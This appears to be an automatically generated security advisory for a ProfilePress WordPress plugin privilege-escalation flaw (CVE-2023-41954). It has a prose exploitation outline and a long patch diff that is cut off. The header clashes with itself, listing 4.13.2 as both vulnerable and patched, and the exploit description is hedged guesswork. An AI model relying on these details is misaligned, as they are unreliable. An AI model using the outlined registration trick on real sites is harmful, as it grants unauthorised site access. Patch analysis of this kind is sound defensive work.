Opens in a new tab
Published : September 21, 2026

CVE-2023-41954: ProfilePress <= 4.13.1 Limited Privilege Escalation via 'acceptable_defined_roles' PoC, Patch Analysis & Rule

Severity High (CVSS 7.3)
CWE 20
Vulnerable Version 4.13.2
Patched Version 4.13.2
Disclosed September 8, 2023

Analysis Overview

Atomic Edge analysis of CVE-2023-41954: The ProfilePress WordPress plugin versions up to and including 4.13.1 contain a limited privilege escalation vulnerability in the user registration flow. The flaw resides in the RegistrationAuth class within the acceptable_defined_roles function. By manipulating the role selection field during registration, an unauthenticated attacker can assign themselves a non-administrator role such as editor, author, or subscriber, bypassing the intended role restrictions. With a CVSS score of 7.3 and CWE-20 (Improper Input Validation), this represents a high-severity risk requiring immediate patching.

The root cause lies in the RegistrationAuth.php file at lines 441-455 (vulnerable version). The code uses wp_list_filter and wp_list_pluck to extract the ‘options’ array from form fields of type ‘reg-select-role’. When no such field exists, the original code produces $reg_select_field as an empty array, and then $options becomes an empty array, but the function does not explicitly return early. This incomplete validation allows attacker-controlled input to influence which roles are considered acceptable. The patched version introduces an explicit check: if (empty($found_field)) return []; This ensures that when no role selection field is configured, the function returns an empty array, preventing any default or fallback role assignment. The vulnerability is triggered because the registration form builder allows users to define custom role options, and the acceptable_defined_roles function fails to properly sanitize or validate those options against a whitelist of permitted roles.

Exploitation occurs through the public user registration endpoint, typically /wp-admin/admin-ajax.php with action=ppress_register or via the registration shortcode page. An attacker crafts a POST request containing the registration form fields, including a parameter corresponding to the reg-select-role field (often named ‘ppress_reg_select_role’ or similar). By injecting a role value such as ‘editor’ or ‘author’ into the options parameter or by manipulating the form builder settings if accessible, the attacker can cause the registration logic to assign that elevated role upon account creation. Since the vulnerability allows unauthenticated users to register, no prior authentication is required. The exact parameter name depends on the form configuration, but the attack pattern targets the role selection array passed to wp_insert_user.

The patch modifies the acceptable_defined_roles function to perform an early return when the reg-select-role field is absent. Before the fix, the function would proceed with an empty $options array, potentially allowing the role to be determined by other means or defaulting to a role that the attacker can influence. After the fix, the function returns an empty array immediately if no role selection field is found, forcing the registration process to fall back to a safe default role (typically subscriber). This effectively removes the attacker’s ability to inject arbitrary role values through the form builder. The change is minimal and targeted, addressing the incomplete validation without affecting legitimate registrations that properly configure the role field.

Successful exploitation grants the attacker an account with elevated privileges such as Editor, Author, or Contributor, depending on the roles available in the WordPress installation. This allows the attacker to create and publish posts, upload media, moderate comments, and potentially escalate further by exploiting other plugin or theme vulnerabilities. In a worst-case scenario, an attacker could use the elevated account to install malicious plugins or modify site content, leading to full site compromise. The vulnerability does not directly lead to remote code execution, but the privilege escalation significantly increases the attack surface and impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-user-avatar/src/Classes/RegistrationAuth.php
+++ b/wp-user-avatar/src/Classes/RegistrationAuth.php
@@ -441,14 +441,13 @@

             $settings = FormRepository::form_builder_fields_settings($form_id, FormRepository::REGISTRATION_TYPE);

-            $reg_select_field = array_values(
-                wp_list_pluck(
-                    wp_list_filter($settings, ['fieldType' => 'reg-select-role']),
-                    'options'
-                )
-            );
+            $found_field = wp_list_filter($settings, ['fieldType' => 'reg-select-role']);

-            $options = isset($reg_select_field[0]) ? $reg_select_field[0] : [];
+            if (empty($found_field)) return [];
+
+            $reg_select_field_options = array_values(wp_list_pluck($found_field, 'options'));
+
+            $options = isset($reg_select_field_options[0]) ? $reg_select_field_options[0] : [];

         } else {

@@ -457,7 +456,7 @@
             // find the first occurrence of reg-select-role shortcode.
             preg_match('/[reg-select-role.*]/', $registration_structure, $matches);

-            if (empty($matches) || ! isset($matches[0])) return;
+            if (empty($matches) || ! isset($matches[0])) return [];

             preg_match('/options="([,sw]+)"/', $matches[0], $matches2);

--- a/wp-user-avatar/src/Functions/FuseWPAdminNotice.php
+++ b/wp-user-avatar/src/Functions/FuseWPAdminNotice.php
@@ -20,6 +20,8 @@

             if ( ! current_user_can('manage_options')) return;

+            check_admin_referer('fwp_dismiss_fwpadnotice', 'csrf');
+
             $url = admin_url();
             update_option('fwp_dismiss_fwpadnotice', 'true');

@@ -44,12 +46,10 @@
             }

             $dismiss_url = esc_url_raw(
-                add_query_arg(
-                    array(
-                        'fwp-adaction' => 'fwp_dismiss_fwpadnotice'
-                    ),
-                    admin_url()
-                )
+                add_query_arg([
+                    'fwp-adaction' => 'fwp_dismiss_fwpadnotice',
+                    'csrf'         => wp_create_nonce('fwp_dismiss_fwpadnotice')
+                ], admin_url())
             );
             $this->notice_css();
             $install_url = wp_nonce_url(
--- a/wp-user-avatar/src/Membership/Controllers/CheckoutController.php
+++ b/wp-user-avatar/src/Membership/Controllers/CheckoutController.php
@@ -5,6 +5,7 @@
 use ProfilePressCoreClassesLoginAuth;
 use ProfilePressCoreMembershipEmailsSubscriptionCancelledNotification;
 use ProfilePressCoreMembershipModelsCouponCouponFactory;
+use ProfilePressCoreMembershipModelsCustomerCustomerFactory;
 use ProfilePressCoreMembershipModelsGroupGroupFactory;
 use ProfilePressCoreMembershipModelsOrderOrderFactory;
 use ProfilePressCoreMembershipModelsOrderOrderType;
@@ -346,6 +347,15 @@

             $order = OrderFactory::fromId($order_id);

+            if (apply_filters('ppress_autologin_after_checkout', false, $order, $subscription_id)) {
+
+                if ( ! is_user_logged_in()) {
+                    $user_id = CustomerFactory::fromId($customer_id)->get_user_id();
+                    wp_set_auth_cookie($user_id, true);
+                    wp_set_current_user($user_id);
+                }
+            }
+
             wp_send_json([
                 'success'           => $process_payment->is_success,
                 'redirect_url'      => $process_payment->redirect_url,
--- a/wp-user-avatar/src/Themes/DragDrop/AbstractMemberDirectoryTheme.php
+++ b/wp-user-avatar/src/Themes/DragDrop/AbstractMemberDirectoryTheme.php
@@ -842,7 +842,9 @@
     {
         if ($this->get_meta('ppress_md_enable_search') != 'true') return;

-        $search_string = esc_html__('Search', 'wp-user-avatar');
+        $search_string = apply_filters( 'ppressmd_member_directory_search_string', esc_html__( 'Search', 'wp-user-avatar' ) );
+
+        $search_string_placeholder = apply_filters( 'ppressmd_member_directory_search_placeholder', esc_html__( 'Search', 'wp-user-avatar' ) );

         $entered_search_term = ppress_var($this->search_filter_query_params(), 'search-' . $this->form_id, '');

@@ -850,7 +852,7 @@
         <div class="ppressmd-member-directory-header-row ppressmd-member-directory-search-row">
             <div class="ppressmd-member-directory-search-line">
                 <label>
-                    <input name="search-<?= $this->form_id ?>" type="search" class="ppressmd-search-line" placeholder="<?= $search_string ?>" value="<?= esc_attr($entered_search_term) ?>">
+                    <input name="search-<?= $this->form_id ?>" type="search" class="ppressmd-search-line" placeholder="<?= $search_string_placeholder ?>" value="<?= esc_attr($entered_search_term) ?>">
                 </label>
                 <input type="submit" class="ppressmd-do-search ppressmd-button" value="<?= $search_string ?>">
             </div>
@@ -997,4 +999,4 @@
 CSS;

     }
-}
 No newline at end of file
+}
--- a/wp-user-avatar/src/Themes/DragDrop/ProfileFieldListing.php
+++ b/wp-user-avatar/src/Themes/DragDrop/ProfileFieldListing.php
@@ -148,8 +148,16 @@
                     $parsed_shortcode = sprintf('<a href="%1$s" rel="nofollow" target="_blank">%1$s</a>', $parsed_shortcode);
                 }

-                if ( ! empty($field_key) && strpos($field_type, 'profile-cpf') !== false && in_array($field_key, array_keys(ppress_social_network_fields()))) {
-                    $parsed_shortcode = sprintf('<a href="%s">%s</a>', $parsed_shortcode, ppress_var(ppress_social_network_fields(), $field_key));
+                if ( ! empty($field_key) && strpos($field_type, 'profile-cpf') !== false) {
+                    if (in_array($field_key, array_keys(ppress_social_network_fields()))) {
+                        $parsed_shortcode = sprintf('<a href="%s">%s</a>', $parsed_shortcode, ppress_var(ppress_social_network_fields(), $field_key));
+                    }
+
+                    $custom_field_type = PROFILEPRESS_sql::get_field_type($field_key);
+
+                    if ($custom_field_type == 'country') {
+                        $parsed_shortcode = ppress_array_of_world_countries($parsed_shortcode) ?? '';
+                    }
                 }

                 $output .= $this->item_wrap_start_tag;
--- a/wp-user-avatar/third-party/vendor/autoload.php
+++ b/wp-user-avatar/third-party/vendor/autoload.php
@@ -9,4 +9,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit3c561f0fd8b98b61cbccc0e66010c476::getLoader();
+return ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d::getLoader();
--- a/wp-user-avatar/third-party/vendor/composer/autoload_real.php
+++ b/wp-user-avatar/third-party/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit3c561f0fd8b98b61cbccc0e66010c476
+class ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d
 {
     private static $loader;

@@ -24,19 +24,19 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit3c561f0fd8b98b61cbccc0e66010c476', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit3c561f0fd8b98b61cbccc0e66010c476', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit3c561f0fd8b98b61cbccc0e66010c476::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);

-        $includeFiles = ComposerAutoloadComposerStaticInit3c561f0fd8b98b61cbccc0e66010c476::$files;
+        $includeFiles = ComposerAutoloadComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::$files;
         foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequire3c561f0fd8b98b61cbccc0e66010c476($fileIdentifier, $file);
+            composerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d($fileIdentifier, $file);
         }

         return $loader;
@@ -48,7 +48,7 @@
  * @param string $file
  * @return void
  */
-function composerRequire3c561f0fd8b98b61cbccc0e66010c476($fileIdentifier, $file)
+function composerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d($fileIdentifier, $file)
 {
     if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
         $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wp-user-avatar/third-party/vendor/composer/autoload_static.php
+++ b/wp-user-avatar/third-party/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit3c561f0fd8b98b61cbccc0e66010c476
+class ComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d
 {
     public static $files = array (
         'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php',
@@ -671,9 +671,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit3c561f0fd8b98b61cbccc0e66010c476::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit3c561f0fd8b98b61cbccc0e66010c476::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit3c561f0fd8b98b61cbccc0e66010c476::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wp-user-avatar/third-party/vendor/composer/installed.php
+++ b/wp-user-avatar/third-party/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace ProfilePressVendor;

-return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '75317df078a94b6c3d72fd4fa09fcd15f86d6162', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '75317df078a94b6c3d72fd4fa09fcd15f86d6162', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'e9e4b361f2e872a0bf4933c6218c35ad48c56075', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.4', 'version' => '1.4.4.0', 'reference' => '900739eb6b0ec0210465f5983a6d4e0e420289e4', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.7.4', 'version' => '9.7.4.0', 'reference' => '002f55f649e7511710dc7154ff44c7be32c8195c', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.69.0', 'version' => '2.69.0.0', 'reference' => '4308217830e4ca445583a37d1bf4aff4153fa81c', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => '8.4.0', 'version' => '8.4.0.0', 'reference' => 'e41d2140031d533348b2192a83f02d8dd8a71d30', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.3.0', 'version' => '6.3.0.0', 'reference' => '0284a5e0619dbf8893c3afdd4f02aa6320ba79c0', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v7.128.0', 'version' => '7.128.0.0', 'reference' => 'c704949c49b72985c76cc61063aa26fefbd2724e', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.26', 'version' => '5.4.26.0', 'reference' => '0ad3f7e9a1ab492c5b4214cf22a9dc55dcf8600a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => 'e8b495ea28c1d97b5e0c121748d6f9b53d075c66', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.28.0', 'version' => '1.28.0.0', 'reference' => '42292d99c55abe617799667f454222c54c60e229', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.28.0', 'version' => '1.28.0.0', 'reference' => '6caa57379c4aec19c0a12a38b59b26487dcfe4b5', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.24', 'version' => '5.4.24.0', 'reference' => 'de237e59c5833422342be67402d487fbf50334ff', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => '136b19dd05cdf0709db6537d058bcab6dd6e2dbe', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
+return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '77ae7c49496b10bba0abb1e59027aba8c62d7868', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '77ae7c49496b10bba0abb1e59027aba8c62d7868', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'e9e4b361f2e872a0bf4933c6218c35ad48c56075', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.4', 'version' => '1.4.4.0', 'reference' => '900739eb6b0ec0210465f5983a6d4e0e420289e4', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.7.4', 'version' => '9.7.4.0', 'reference' => '002f55f649e7511710dc7154ff44c7be32c8195c', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.70.0', 'version' => '2.70.0.0', 'reference' => 'd3298b38ea8612e5f77d38d1a99438e42f70341d', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => '8.4.0', 'version' => '8.4.0.0', 'reference' => 'e41d2140031d533348b2192a83f02d8dd8a71d30', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.3.0', 'version' => '6.3.0.0', 'reference' => '0284a5e0619dbf8893c3afdd4f02aa6320ba79c0', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v7.128.0', 'version' => '7.128.0.0', 'reference' => 'c704949c49b72985c76cc61063aa26fefbd2724e', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.26', 'version' => '5.4.26.0', 'reference' => '0ad3f7e9a1ab492c5b4214cf22a9dc55dcf8600a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => 'e8b495ea28c1d97b5e0c121748d6f9b53d075c66', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.28.0', 'version' => '1.28.0.0', 'reference' => '42292d99c55abe617799667f454222c54c60e229', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.28.0', 'version' => '1.28.0.0', 'reference' => '6caa57379c4aec19c0a12a38b59b26487dcfe4b5', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.24', 'version' => '5.4.24.0', 'reference' => 'de237e59c5833422342be67402d487fbf50334ff', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => '136b19dd05cdf0709db6537d058bcab6dd6e2dbe', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
--- a/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/CarbonInterval.php
+++ b/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/CarbonInterval.php
@@ -14,6 +14,7 @@
 use ProfilePressVendorCarbonExceptionsBadFluentSetterException;
 use ProfilePressVendorCarbonExceptionsInvalidCastException;
 use ProfilePressVendorCarbonExceptionsInvalidIntervalException;
+use ProfilePressVendorCarbonExceptionsOutOfRangeException;
 use ProfilePressVendorCarbonExceptionsParseErrorException;
 use ProfilePressVendorCarbonExceptionsUnitNotConfiguredException;
 use ProfilePressVendorCarbonExceptionsUnknownGetterException;
@@ -31,8 +32,10 @@
 use DateTimeInterface;
 use DateTimeZone;
 use Exception;
+use InvalidArgumentException;
 use ReflectionException;
 use ReturnTypeWillChange;
+use RuntimeException;
 use Throwable;
 /**
  * A simple API extension for DateInterval.
@@ -221,6 +224,10 @@
      */
     private static $flipCascadeFactors;
     /**
+     * @var bool
+     */
+    private static $floatSettersEnabled = false;
+    /**
      * The registered macros.
      *
      * @var array
@@ -298,6 +305,18 @@
         self::$flipCascadeFactors = null;
         static::$cascadeFactors = $cascadeFactors;
     }
+    /**
+     * This option allow you to opt-in for the Carbon 3 behavior where float
+     * values will no longer be cast to integer (so truncated).
+     *
+     * ⚠️ This settings will be applied globally, which mean your whole application
+     * code including the third-party dependencies that also may use Carbon will
+     * adopt the new behavior.
+     */
+    public static function enableFloatSetters(bool $floatSettersEnabled = true) : void
+    {
+        self::$floatSettersEnabled = $floatSettersEnabled;
+    }
     ///////////////////////////////////////////////////////////////////
     //////////////////////////// CONSTRUCTORS /////////////////////////
     ///////////////////////////////////////////////////////////////////
@@ -305,13 +324,13 @@
      * Create a new CarbonInterval instance.
      *
      * @param Closure|DateInterval|string|int|null $years
-     * @param int|null                             $months
-     * @param int|null                             $weeks
-     * @param int|null                             $days
-     * @param int|null                             $hours
-     * @param int|null                             $minutes
-     * @param int|null                             $seconds
-     * @param int|null                             $microseconds
+     * @param int|float|null                       $months
+     * @param int|float|null                       $weeks
+     * @param int|float|null                       $days
+     * @param int|float|null                       $hours
+     * @param int|float|null                       $minutes
+     * @param int|float|null                       $seconds
+     * @param int|float|null                       $microseconds
      *
      * @throws Exception when the interval_spec (passed as $years) cannot be parsed as an interval.
      */
@@ -328,7 +347,8 @@
             return;
         }
         $spec = $years;
-        if (!is_string($spec) || (float) $years || preg_match('/^[\d.]/', $years)) {
+        $isStringSpec = is_string($spec) && !preg_match('/^[\d.]/', $spec);
+        if (!$isStringSpec || (float) $years) {
             $spec = static::PERIOD_PREFIX;
             $spec .= $years > 0 ? $years . static::PERIOD_YEARS : '';
             $spec .= $months > 0 ? $months . static::PERIOD_MONTHS : '';
@@ -347,7 +367,55 @@
                 $spec .= '0' . static::PERIOD_YEARS;
             }
         }
-        parent::__construct($spec);
+        try {
+            parent::__construct($spec);
+        } catch (Throwable $exception) {
+            try {
+                parent::__construct('PT0S');
+                if ($isStringSpec) {
+                    if (!preg_match('/^P
+                        (?:(?<year>[+-]?\d*(?:\.\d+)?)Y)?
+                        (?:(?<month>[+-]?\d*(?:\.\d+)?)M)?
+                        (?:(?<week>[+-]?\d*(?:\.\d+)?)W)?
+                        (?:(?<day>[+-]?\d*(?:\.\d+)?)D)?
+                        (?:T
+                            (?:(?<hour>[+-]?\d*(?:\.\d+)?)H)?
+                            (?:(?<minute>[+-]?\d*(?:\.\d+)?)M)?
+                            (?:(?<second>[+-]?\d*(?:\.\d+)?)S)?
+                        )?
+                    $/x', $spec, $match)) {
+                        throw new InvalidArgumentException("Invalid duration: {$spec}");
+                    }
+                    $years = (float) ($match['year'] ?? 0);
+                    $this->assertSafeForInteger('year', $years);
+                    $months = (float) ($match['month'] ?? 0);
+                    $this->assertSafeForInteger('month', $months);
+                    $weeks = (float) ($match['week'] ?? 0);
+                    $this->assertSafeForInteger('week', $weeks);
+                    $days = (float) ($match['day'] ?? 0);
+                    $this->assertSafeForInteger('day', $days);
+                    $hours = (float) ($match['hour'] ?? 0);
+                    $this->assertSafeForInteger('hour', $hours);
+                    $minutes = (float) ($match['minute'] ?? 0);
+                    $this->assertSafeForInteger('minute', $minutes);
+                    $seconds = (float) ($match['second'] ?? 0);
+                    $this->assertSafeForInteger('second', $seconds);
+                }
+                $totalDays = $weeks * static::getDaysPerWeek() + $days;
+                $this->assertSafeForInteger('days total (including weeks)', $totalDays);
+                $this->y = (int) $years;
+                $this->m = (int) $months;
+                $this->d = (int) $totalDays;
+                $this->h = (int) $hours;
+                $this->i = (int) $minutes;
+                $this->s = (int) $seconds;
+                if ((float) $this->y !== $years || (float) $this->m !== $months || (float) $this->d !== $totalDays || (float) $this->h !== $hours || (float) $this->i !== $minutes || (float) $this->s !== $seconds) {
+                    $this->add(static::fromString($years - $this->y . ' years ' . ($months - $this->m) . ' months ' . ($totalDays - $this->d) . ' days ' . ($hours - $this->h) . ' hours ' . ($minutes - $this->i) . ' minutes ' . ($seconds - $this->s) . ' seconds '));
+                }
+            } catch (Throwable $secondException) {
+                throw $secondException instanceof OutOfRangeException ? $secondException : $exception;
+            }
+        }
         if ($microseconds !== null) {
             $this->f = $microseconds / Carbon::MICROSECONDS_PER_SECOND;
         }
@@ -781,11 +849,17 @@
      * set the $days field.
      *
      * @param DateInterval $interval
+     * @param bool         $skipCopy set to true to return the passed object
+     *                               (without copying it) if it's already of the
+     *                               current class
      *
      * @return static
      */
-    public static function instance(DateInterval $interval, array $skip = [])
+    public static function instance(DateInterval $interval, array $skip = [], bool $skipCopy = false)
     {
+        if ($skipCopy && $interval instanceof static) {
+            return $interval;
+        }
         return self::castIntervalToClass($interval, static::class, $skip);
     }
     /**
@@ -796,16 +870,19 @@
      *
      * @param mixed|int|DateInterval|string|Closure|null $interval interval or number of the given $unit
      * @param string|null                                $unit     if specified, $interval must be an integer
+     * @param bool                                       $skipCopy set to true to return the passed object
+     *                                                             (without copying it) if it's already of the
+     *                                                             current class
      *
      * @return static|null
      */
-    public static function make($interval, $unit = null)
+    public static function make($interval, $unit = null, bool $skipCopy = false)
     {
         if ($unit) {
             $interval = "{$interval} " . Carbon::pluralUnit($unit);
         }
         if ($interval instanceof DateInterval) {
-            return static::instance($interval);
+            return static::instance($interval, [], $skipCopy);
         }
         if ($interval instanceof Closure) {
             return new static($interval);
@@ -937,29 +1014,49 @@
         foreach ($properties as $key => $value) {
             switch (Carbon::singularUnit(rtrim($key, 'z'))) {
                 case 'year':
+                    $this->checkIntegerValue($key, $value);
                     $this->y = $value;
+                    $this->handleDecimalPart('year', $value, $this->y);
                     break;
                 case 'month':
+                    $this->checkIntegerValue($key, $value);
                     $this->m = $value;
+                    $this->handleDecimalPart('month', $value, $this->m);
                     break;
                 case 'week':
-                    $this->d = $value * (int) static::getDaysPerWeek();
+                    $this->checkIntegerValue($key, $value);
+                    $days = $value * (int) static::getDaysPerWeek();
+                    $this->assertSafeForInteger('days total (including weeks)', $days);
+                    $this->d = $days;
+                    $this->handleDecimalPart('day', $days, $this->d);
                     break;
                 case 'day':
+                    $this->checkIntegerValue($key, $value);
                     $this->d = $value;
+                    $this->handleDecimalPart('day', $value, $this->d);
                     break;
                 case 'daysexcludeweek':
                 case 'dayzexcludeweek':
-                    $this->d = $this->weeks * (int) static::getDaysPerWeek() + $value;
+                    $this->checkIntegerValue($key, $value);
